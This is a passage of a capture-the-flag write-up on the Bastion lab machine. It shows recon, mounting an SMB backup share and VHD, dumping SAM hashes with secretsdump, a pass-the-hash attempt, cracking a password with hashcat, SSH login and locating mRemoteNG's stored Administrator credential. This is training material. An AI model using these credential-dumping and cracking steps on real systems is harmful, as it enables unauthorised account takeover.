> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/easy-boxes/bastion.md).

# Bastion

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2Ff1YUEris3f7OLov8EAgV%2FBastion.png?alt=media&amp;token=5195caf9-eb28-496c-a01b-dec64e3d5cf2" alt="" width="563"><figcaption><p>Bastion</p></figcaption></figure>

## Recon

Firstly lets check if target is alive.

```bash
ping -c 1 10.10.10.134   
PING 10.10.10.134 (10.10.10.134) 56(84) bytes of data.
64 bytes from 10.10.10.134: icmp_seq=1 ttl=127 time=67.6 ms

--- 10.10.10.134 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 67.580/67.580/67.580/0.000 ms
```

Because of TTL I can say that probably this is Windows machine, and it is alive.

So lets start a nmap scan.

```bash
sudo nmap 10.10.10.134 -p- -sC -sV -T4 -oN bastion -Pn
```

```bash
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-02-22T19:25:20
|_  start_date: 2024-02-22T10:17:52
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m58s, deviation: 34m36s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-02-22T20:25:19+01:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 756.10 seconds
```

Hmm interesting that there is SSH on Windows box, not regular thing.

## SMB

```bash
smbclient -L //10.10.10.134/
```

There are 1 interesting share named  "backups"

I will mount it to my Kali.

```bash
sudo mount -t cifs //10.10.10.134/backups /mnt -o user=,password= 
```

```bash
/mnt$ ls
SDT65CB.tmp  WindowsImageBackup  note.txt
```

```bash
cat note.txt    

Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
                                                                                                             
```

So yeahh, Im already mounted a share, so it wont be a problem.

```bash
musor@kali:/mnt/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351$ ls
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd                                                      cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd                                                      cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
BackupSpecs.xml                                                                               cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml                                           cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml                                     cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
```

## L4mpje User

after a little searching for possibly interesting files, I found this.

{% hint style="info" %}
VHD stands for Virtual Hard Disk. It is a file format used to represent a virtual hard disk drive (HDD) used by virtualization software. VHD files are commonly used in environments where virtualization is employed, such as in virtual machines (VMs).
{% endhint %}

some vhd. files

Normally I would mount them on Windows machine, but I will try do it on Linux.

I asked ChatGPT for help with this, and here is the result.

> You can mount VHD files on Linux using the `guestmount` command, which is part of the libguestfs-tools package. This tool allows you to mount disk images, including VHD files, without needing to boot a virtual machine.

Ok, now I need to install it firstly.

```bash
sudo apt-get install libguestfs-tools
```

After installation finished, time to mount them.

```bash
guestmount --add /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /win  
guestmount: no operating system was found on this disk

If using guestfish ‘-i’ option, remove this option and instead
use the commands ‘run’ followed by ‘list-filesystems’.
You can then mount filesystems you want by hand using the
‘mount’ or ‘mount-ro’ command.

If using guestmount ‘-i’, remove this option and choose the
filesystem(s) you want to see by manually adding ‘-m’ option(s).
Use ‘virt-filesystems’ to see what filesystems are available.

If using other virt tools, this disk image won’t work
with these tools.  Use the guestfish equivalent commands
(see the virt tool manual page).
```

There was 2 vhd. files, first is not working...

I will try second.

```bash
guestmount --add /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /tmp/win/
```

Ok there was no output, so lets check this files.

```bash
musor@kali:/tmp/win$ find . -type f   
./Users/Default/NTUSER.DAT.LOG
./Users/Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/desktop.ini
./Users/Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Shows Desktop.lnk
./Users/Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Window Switcher.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/SendTo/Compressed (zipped) Folder.ZFSendToTarget
./Users/Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop (create shortcut).DeskLink
./Users/Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop.ini
./Users/Default/AppData/Roaming/Microsoft/Windows/SendTo/Fax Recipient.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/SendTo/Mail Recipient.MAPIMail
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Desktop.ini
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Ease of Access.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Magnify.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/Narrator.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Accessibility/On-Screen Keyboard.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Command Prompt.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Desktop.ini
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Notepad.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Run.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/computer.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/Control Panel.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/Desktop.ini
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/System Tools/Private Character Editor.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Windows Explorer.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Maintenance/Desktop.ini
./Users/Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Maintenance/Help.lnk
./Users/Default/NTUSER.DAT
./Users/Default/NTUSER.DAT.LOG1
./Users/Default/NTUSER.DAT.LOG2
./Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf
./Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms
./Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms
./Users/desktop.ini
./Users/L4mpje/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf
./Users/L4mpje/AppData/Local/Microsoft/Feeds/FeedsStore.feedsdb-ms
./Users/L4mpje/AppData/Local/Microsoft/Feeds/Microsoft Feeds~/Microsoft at Home~.feed-ms
./Users/L4mpje/AppData/Local/Microsoft/Feeds/Microsoft Feeds~/Microsoft at Work~.feed-ms
./Users/L4mpje/AppData/Local/Microsoft/Feeds/Microsoft Feeds~/MSNBC News~.feed-ms
./Users/L4mpje/AppData/Local/Microsoft/Feeds/{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~/WebSlices~/Web Slice Gallery~.feed-ms
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/AMMXWUP8/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/AMMXWUP8/fwlink[1]
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/index.dat
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/KIMYQQAG/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/KIMYQQAG/fwlink[1]
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/U6TX9KM6/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/U6TX9KM6/fwlink[1]
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/XBMI6IWU/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Feeds Cache/XBMI6IWU/fwlink[1]
./Users/L4mpje/AppData/Local/Microsoft/Internet Explorer/brndlog.txt
./Users/L4mpje/AppData/Local/Microsoft/Media Player/CurrentDatabase_372.wmdb
./Users/L4mpje/AppData/Local/Microsoft/Media Player/LocalMLS_3.wmdb
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/01_Music_auto_rated_at_5_stars.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/02_Music_added_in_the_last_month.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/03_Music_rated_at_4_or_5_stars.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/04_Music_played_in_the_last_month.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/05_Pictures_taken_in_the_last_month.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/06_Pictures_rated_4_or_5_stars.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/07_TV_recorded_in_the_last_week.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/08_Video_rated_at_4_or_5_stars.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/09_Music_played_the_most.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/10_All_Music.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/11_All_Pictures.wpl
./Users/L4mpje/AppData/Local/Microsoft/Media Player/Sync Playlists/nl-NL/00012352/12_All_Video.wpl
./Users/L4mpje/AppData/Local/Microsoft/Windows/Burn/Burn/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/Explorer/ExplorerStartupLog.etl
./Users/L4mpje/AppData/Local/Microsoft/Windows/Explorer/ExplorerStartupLog_RunOnce.etl
./Users/L4mpje/AppData/Local/Microsoft/Windows/Explorer/thumbcache_1024.db
./Users/L4mpje/AppData/Local/Microsoft/Windows/Explorer/thumbcache_256.db
./Users/L4mpje/AppData/Local/Microsoft/Windows/Explorer/thumbcache_32.db
./Users/L4mpje/AppData/Local/Microsoft/Windows/Explorer/thumbcache_96.db
./Users/L4mpje/AppData/Local/Microsoft/Windows/Explorer/thumbcache_idx.db
./Users/L4mpje/AppData/Local/Microsoft/Windows/Explorer/thumbcache_sr.db
./Users/L4mpje/AppData/Local/Microsoft/Windows/History/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/History/History.IE5/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/History/History.IE5/index.dat
./Users/L4mpje/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/AS8WASU8/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/D695QNAI/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/index.dat
./Users/L4mpje/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/XZJQOAA7/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/Temporary Internet Files/Content.IE5/ZQ29IXEM/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/Temporary Internet Files/desktop.ini
./Users/L4mpje/AppData/Local/Microsoft/Windows/UsrClass.dat
./Users/L4mpje/AppData/Local/Microsoft/Windows/UsrClass.dat.LOG1
./Users/L4mpje/AppData/Local/Microsoft/Windows/UsrClass.dat.LOG2
./Users/L4mpje/AppData/Local/Microsoft/Windows/UsrClass.dat{bb34247e-369e-11e9-9876-080027daec14}.TM.blf
./Users/L4mpje/AppData/Local/Microsoft/Windows/UsrClass.dat{bb34247e-369e-11e9-9876-080027daec14}.TMContainer00000000000000000001.regtrans-ms
./Users/L4mpje/AppData/Local/Microsoft/Windows/UsrClass.dat{bb34247e-369e-11e9-9876-080027daec14}.TMContainer00000000000000000002.regtrans-ms
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/account{CAC8D220-4E96-439B-9E74-3BEDE53F55CC}.oeaccount
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/account{E8CB7721-1BC6-4021-815C-AF39C374FA38}.oeaccount
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/account{FD5251B8-5D80-4D02-8DE2-76A75364C5A7}.oeaccount
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/Backup/new/edb00001.log
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/Backup/new/WindowsMail.MSMessageStore
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/Backup/new/WindowsMail.pat
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/edb.chk
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/edb.log
./Users/L4mpje/AppData/Local/Microsoft/Windows Mail/edb00001.logmusor@kali:/tmp/win$ find . -type f   
./Users/Default/NTUSER.DAT.LOG
./Users/Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/desktop.ini
./Users/Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Shows Desktop.lnk
./Users/Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Window Switcher.lnk
./Users/Default/AppData/Roaming/Microsoft/Windows/SendTo/Compressed (zipped) Folder.ZFSendToTarget
[SNIP..]
```

Too much files.

But everything is working.

Looks like backup, so I will try to find a SAM file in which all hashes are saved.

```bash
musor@kali:/tmp/win/Windows/System32/config$ ls
BCD-Template                                                        COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.1.regtrans-ms                            DEFAULT.LOG   SAM.LOG1       SOFTWARE.LOG   TxR
BCD-Template.LOG                                                    COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.2.regtrans-ms                            DEFAULT.LOG1  SAM.LOG2       SOFTWARE.LOG1  systemprofile
COMPONENTS                                                          COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.blf                                      DEFAULT.LOG2  SECURITY       SOFTWARE.LOG2
COMPONENTS.LOG                                                      COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TM.blf                                       Journal       SECURITY.LOG   SYSTEM
COMPONENTS.LOG1                                                     COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms  RegBack       SECURITY.LOG1  SYSTEM.LOG
COMPONENTS.LOG2                                                     COMPONENTS{6cced2ed-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms  SAM           SECURITY.LOG2  SYSTEM.LOG1
COMPONENTS{6cced2ec-6e01-11de-8bed-001e0bcd1824}.TxR.0.regtrans-ms  DEFAULT                                                                                       SAM.LOG       SOFTWARE       SYSTEM.LOG2
```

here we go again....

I will copy them to my host, and dump hashes locally with impacket-secretsdump tool.

```bash
secretsdump.py -sam SAM -system SYSTEM LOCAL                                                                                                                                                                        
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Cleaning up... 
```

Only 2 interesting hashes.

```bash
nxc smb 10.10.10.134 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'                                                                                                                                         
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [-] Bastion\administrator:31d6cfe0d16ae931b73c59d7e0c089c0 STATUS_LOGON_FAILURE 
```

Tried "Pass The Hash" attack, but it is not working, also I can try to crack this hash, but I think that it is impossible, but lets try.

```bash
hashcat adm_hash /usr/share/wordlists/rockyou.txt -m 1000
```

```bash
31d6cfe0d16ae931b73c59d7e0c089c0:
```

hashcat saying that it cracked, but it is blank lol. idk what is this. lets try another user.

```bash
hashcat L4mpje /usr/share/wordlists/rockyou.txt -m 1000
```

```bash
26112010952d963c8dc4217daec986d9:bureaulampje
```

But another users hash is cracked.

There was SSH on target machine, so I will connect via it.

```bash
ssh L4mpje@10.10.10.134                     
The authenticity of host '10.10.10.134 (10.10.10.134)' can't be established.
ED25519 key fingerprint is SHA256:2ZbIDKRPlngECX1WSMqnucdOWthIaPG7wQ6mBReac7M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.134' (ED25519) to the list of known hosts.
L4mpje@10.10.10.134's password: 
Microsoft Windows [Version 10.0.14393]                                                                                          
(c) 2016 Microsoft Corporation. All rights reserved.                                                                            

l4mpje@BASTION C:\Users\L4mpje>dir                                                                                              
 Volume in drive C has no label.                                                                                                
 Volume Serial Number is 1B7D-E692                                                                                              

 Directory of C:\Users\L4mpje                                                                                                   

22-02-2024  11:58    <DIR>          .                                                                                           
22-02-2024  11:58    <DIR>          ..                                                                                          
22-02-2019  15:26    <DIR>          Contacts                                                                                    
22-02-2024  12:36    <DIR>          Desktop                                                                                     
22-02-2019  15:26    <DIR>          Documents                                                                                   
22-02-2019  15:26    <DIR>          Downloads                                                                                   
22-02-2019  15:26    <DIR>          Favorites                                                                                   
22-02-2019  15:26    <DIR>          Links                                                                                       
22-02-2019  15:26    <DIR>          Music                                                                                       
22-02-2019  15:26    <DIR>          Pictures                                                                                    
22-02-2019  15:26    <DIR>          Saved Games                                                                                 
22-02-2019  15:26    <DIR>          Searches                                                                                    
22-02-2019  15:26    <DIR>          Videos                                                                                      
               0 File(s)              0 bytes                                                                                   
              13 Dir(s)   4.751.749.120 bytes free                                                                              

```

And we are in!

## Administrator

```bash
l4mpje@BASTION C:\Users\L4mpje>whoami /all                                                                                      

USER INFORMATION                                                                                                                
----------------                                                                                                                

User Name      SID                                                                                                              
============== ==============================================                                                                   
bastion\l4mpje S-1-5-21-2146344083-2443430429-1430880910-1002                                                                   


GROUP INFORMATION                                                                                                               
-----------------                                                                                                               

Group Name                             Type             SID          Attributes                                                 
====================================== ================ ============ ==================================================         
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group         
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group         
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192                                                             


PRIVILEGES INFORMATION                                                                                                          
----------------------                                                                                                          

Privilege Name                Description                    State                                                              
============================= ============================== =======                                                            
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled                                                            
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled                                                            

```

Nothing interesting.

```bash
l4mpje@BASTION C:\Users\L4mpje\Desktop>dir                                                                                      
 Volume in drive C has no label.                                                                                                
 Volume Serial Number is 1B7D-E692                                                                                              

 Directory of C:\Users\L4mpje\Desktop                                                                                           

22-02-2024  12:36    <DIR>          .                                                                                           
22-02-2024  12:36    <DIR>          ..                                                                                          
22-02-2024  11:54               277 downloadme.exe                                                                              
22-02-2024  11:56             4.529 Invoke.ps1                                                                                  
22-02-2024  11:46            59.552 nc.exe                                                                                      
22-02-2024  12:36           839.352 plink.exe                                                                                   
22-02-2024  11:46           605.587 PowerUp.ps1                                                                                 
22-02-2024  11:18                34 user.txt                                                                                    
22-02-2024  12:07           141.639 winPEAS.bat                                                                                 
22-02-2024  12:06           141.653 winPEASany.exe                                                                              
22-02-2024  12:09         2.425.245 winPEASx64.exe                                                                              
22-02-2024  12:07           141.677 winPEASx86.exe                                                                              
              10 File(s)      4.359.545 bytes                                                                                   
               2 Dir(s)   4.751.749.120 bytes free                                                                              

```

maybe they were checking the security of their host?

who knows...

but there is first flag!

```bash
l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt                                                                            
4c414a49e09b1549f3fb31f06f5b95dc
```

I have transfered a winPEAS to this host, but there was nothing too much interesting.

So I will check this manually.

```bash
PS C:\> ls                                                                                                                      


    Directory: C:\                                                                                                              


Mode                LastWriteTime         Length Name                                                                           
----                -------------         ------ ----                                                                           
d-----        16-4-2019     12:02                Backups                                                                        
d-----        12-9-2016     13:35                Logs                                                                           
d-----        22-2-2019     14:42                PerfLogs                                                                       
d-r---        31-1-2022     17:39                Program Files                                                                  
d-----        22-2-2019     14:01                Program Files (x86)                                                            
d-----        22-2-2024     21:17                temp                                                                           
d-r---        22-2-2019     13:50                Users                                                                          
d-----        31-1-2022     17:52                Windows             
```

```bash
PS C:\Program Files> ls                                                                                                         


    Directory: C:\Program Files                                                                                                 


Mode                LastWriteTime         Length Name                                                                           
----                -------------         ------ ----                                                                           
d-----        16-4-2019     12:18                Common Files                                                                   
d-----        23-2-2019     09:38                Internet Explorer                                                              
d-----        22-2-2019     14:19                OpenSSH-Win64                                                                  
d-----        22-2-2019     14:08                PackageManagement                                                              
d-----        31-1-2022     17:39                VMware                                                                         
d-----        23-2-2019     10:22                Windows Defender                                                               
d-----        23-2-2019     09:38                Windows Mail                                                                   
d-----        23-2-2019     10:22                Windows Media Player                                                           
d-----        16-7-2016     15:23                Windows Multimedia Platform                                                    
d-----        16-7-2016     15:23                Windows NT                                                                     
d-----        23-2-2019     10:22                Windows Photo Viewer                                                           
d-----        16-7-2016     15:23                Windows Portable Devices                                                       
d-----        22-2-2019     14:08                WindowsPowerShell                                                              

```

hmm...

lets look at another directory.

```bash
PS C:\Program Files (x86)> ls                                                                                                   


    Directory: C:\Program Files (x86)                                                                                           


Mode                LastWriteTime         Length Name                                                                           
----                -------------         ------ ----                                                                           
d-----        16-7-2016     15:23                Common Files                                                                   
d-----        23-2-2019     09:38                Internet Explorer                                                              
d-----        16-7-2016     15:23                Microsoft.NET                                                                  
da----        22-2-2019     14:01                mRemoteNG                                                                      
d-----        23-2-2019     10:22                Windows Defender                                                               
d-----        23-2-2019     09:38                Windows Mail                                                                   
d-----        23-2-2019     10:22                Windows Media Player                                                           
d-----        16-7-2016     15:23                Windows Multimedia Platform                                                    
d-----        16-7-2016     15:23                Windows NT                                                                     
d-----        23-2-2019     10:22                Windows Photo Viewer                                                           
d-----        16-7-2016     15:23                Windows Portable Devices                                                       
d-----        16-7-2016     15:23                WindowsPowerShell                                                              

```

Unusual directory, mRemoteNG.

> mRemoteNG is a free, open-source, and cross-platform remote connections manager. It is designed to centralize and manage various remote connections, including RDP (Remote Desktop Protocol), SSH (Secure Shell), VNC (Virtual Network Computing), Telnet, and many others, all within a single interface.

I dont know why but winPEAS didnt said anything about it.

Sometimes manual is better.

Probably I will guess that mRemoteNG storing passwords in one place, idk where is it so I will google it.

> * **Windows**: By default, the configuration file is located in the user's profile directory. It is typically found at `C:\Users\<username>\AppData\Roaming\mRemoteNG\confCons.xml`. The passwords stored in this file are encrypted using a built-in encryption mechanism provided by mRemoteNG.
> * **Linux**: On Linux systems, the configuration file is often stored in the user's home directory. The specific path may vary depending on your distribution and how mRemoteNG was installed. Typically, it can be found at `~/.config/mRemoteNG/confCons.xml`.
> * **macOS**: On macOS, the configuration file is typically stored in the user's home directory as well. The path might be similar to `~/Library/Application Support/mRemoteNG/confCons.xml`.

hmm ok...

```bash
PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG> ls                                                                                


    Directory: C:\Users\L4mpje\AppData\Roaming\mRemoteNG                                                                        


Mode                LastWriteTime         Length Name                                                                           
----                -------------         ------ ----                                                                           
d-----        22-2-2019     14:01                Themes                                                                         
-a----        22-2-2019     14:03           6316 confCons.xml                                                                   
-a----        22-2-2019     14:02           6194 confCons.xml.20190222-1402277353.backup                                        
-a----        22-2-2019     14:02           6206 confCons.xml.20190222-1402339071.backup                                        
-a----        22-2-2019     14:02           6218 confCons.xml.20190222-1402379227.backup                                        
-a----        22-2-2019     14:02           6231 confCons.xml.20190222-1403070644.backup                                        
-a----        22-2-2019     14:03           6319 confCons.xml.20190222-1403100488.backup                                        
-a----        22-2-2019     14:03           6318 confCons.xml.20190222-1403220026.backup                                        
-a----        22-2-2019     14:03           6315 confCons.xml.20190222-1403261268.backup                                        
-a----        22-2-2019     14:03           6316 confCons.xml.20190222-1403272831.backup                                        
-a----        22-2-2019     14:03           6315 confCons.xml.20190222-1403433299.backup                                        
-a----        22-2-2019     14:03           6316 confCons.xml.20190222-1403486580.backup                                        
-a----        22-2-2019     14:03             51 extApps.xml                                                                    
-a----        22-2-2019     14:03           5217 mRemoteNG.log                                                                  
-a----        22-2-2019     14:03           2245 pnlLayout.xml                                                                  

```

and there is a file.

```bash
PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG> cat .\confCons.xml                                                                
<?xml version="1.0" encoding="utf-8"?>                                                                                          
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">                                                                                      
    <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna
me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
